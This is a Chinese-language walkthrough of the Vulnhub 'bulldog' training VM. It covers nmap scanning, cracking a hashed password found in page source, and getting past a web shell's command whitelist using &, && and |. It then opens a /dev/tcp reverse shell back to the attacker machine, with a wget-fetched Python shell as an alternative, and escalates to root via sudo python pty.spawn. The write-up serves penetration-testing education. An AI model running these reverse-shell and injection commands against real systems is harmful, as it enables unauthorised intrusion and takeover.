一、靶机下载
靶机下载地址:download.vulnhub.com/bulldog/bul…
二、bulldog靶机搭建
靶机:
将下载好的靶机环境,用VM VirtualBox导入即可使用,管理->导入虚拟电脑
设置网络模式,网卡选择仅主机模式
kali攻击机:
点开vmware中的虚拟选项编辑器中
点击更改设置,让vmware桥接至VirtualBox Host-Only Ethernet Adapter
注意:靶机用VMware搭建,本电脑出现不能获取IP地址的问题,不知道你们电脑可不可以,不可以就用virtualbox虚拟机搭建吧
靶机搭建成功如下图所示,会自动出现IP地址
三、攻击过程
1、主机发现
nmap -sn:只进行主机发现,不进行端口扫描
2、端口扫描
根据上面主机发现得到的主机,然后依次对每个主机进行快速端口扫描,分析得到自己要攻击的目标主机
3、服务识别
nmap -sV 192.168.56.103 -p 23,80,8080
4、发现服务漏洞并利用
端口80与端口8080都是如下界面,浏览器访问http://192.168.10.152
目录扫描
发现http://192.168.10.154/admin/login,尝试弱口令登录,失败
发现http://192.168.10.154/dev/,然后访问,查看页面源码,可以看到注释有MD5的字符串,尝试解密,解密出来bulldog bulldoglover
尝试使用邮箱用户名登录,失败,尝试用邮箱的开头,成功登录(sarah/bulldoglover)
发现http://192.168.10.154/dev/shell/ 访问
发现可能存在命令执行漏洞,尝试输入一些系统命令,发现对命令做了白名单限制,只允许给出的命令
尝试使用;执行多个命令,“;”被过滤失败,尝试使用&,&&,|等方式执行多个命令,成功
经过尝试,存在命令执行漏洞
之前服务识别发现web使用python搭建的,可以利用wget 远程下载一个python反弹shell到目标服务器上,然后利用命令执行漏洞执行上传到服务器的python脚本
在攻击机kali中打开命令终端开始监听,输入nc -lvnp 6666
在远程主机上搭建一个web站点,把python反弹shell脚本放入
或者使用 echo “bash -i >& /dev/tcp/192.168.56.102/6666 0>&1” | bash 反弹shell
5、连接到目标的shell之后, 发现当前用户属于sudo组,尝试切换账户失败,需要终端
6、切换到家目录发现有个类似管理员的目录,找到密码
或者查找每个用户的文件(不显示错误)find / -user bulldogadmin 2>/dev/null
使用 strings打印其中的可打印字符
虽然我英语不好,但是依然很轻松地看出文件中间有一个被 H 打断的PASSWORD单词。于是把前后字段去掉H,得到一句SUPERultimatePASSWORDyouCANTget 把它保存着,这可能是我们会要用到的密码
上网查了一下资料,可以用python调用本地的shell,命令:
python -c ‘import pty;pty.spawn("/bin/bash")’
sudo python -c ‘import pty;pty.spawn("/bin/bash")’
注:先用python 开启一个终端,报错,然后用sudo python 开启一个终端,达到提权的目的
四、总结
1.信息收集
2.页面源码信息泄露
3.dirb爆破目录
4.命令执行,反弹shell,提权